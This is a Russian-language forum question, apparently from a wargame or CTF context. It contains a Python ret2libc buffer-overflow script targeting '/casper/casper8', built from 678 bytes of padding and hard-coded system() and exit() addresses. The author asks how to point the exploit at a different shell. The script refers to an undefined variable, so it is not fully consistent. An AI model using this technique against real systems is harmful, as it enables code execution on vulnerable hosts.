Эксплойт Ret2libc: использование другой оболочки - PullRequest
0 голосов
/ 25 ноября 2018

Я написал этот скрипт на python для выполнения атаки ret2libc, и он действительно работает.Моя проблема в том, что я хотел бы создать другую оболочку, а не "/ bin / sh".Вместо этого я должен использовать spawn "/ bin / xh".Адрес system (), exit () и «bin / sh» был найден с помощью gdb, но я не могу найти адрес оболочки, которую я ищу, очевидно.После кода моего скрипта:

#!/usr/bin/python
import struct
import os

def exploit():
    level="/casper/casper8 "
    buf_ovf= "X"*678
    exit_addr = struct.pack("I", 0xb7e55260 )
    binsh_addr=   struct.pack("I", 0xb7f84d4c )
    sys_addr= struct.pack("I", 0xb7e62310)
    payload = ( buf_ovf + sys_addr + exit_addr +binxh_addr ).replace('`', '\\`') 
    os.system(level+ payload)

 exploit()

Может кто-нибудь мне помочь?Спасибо

...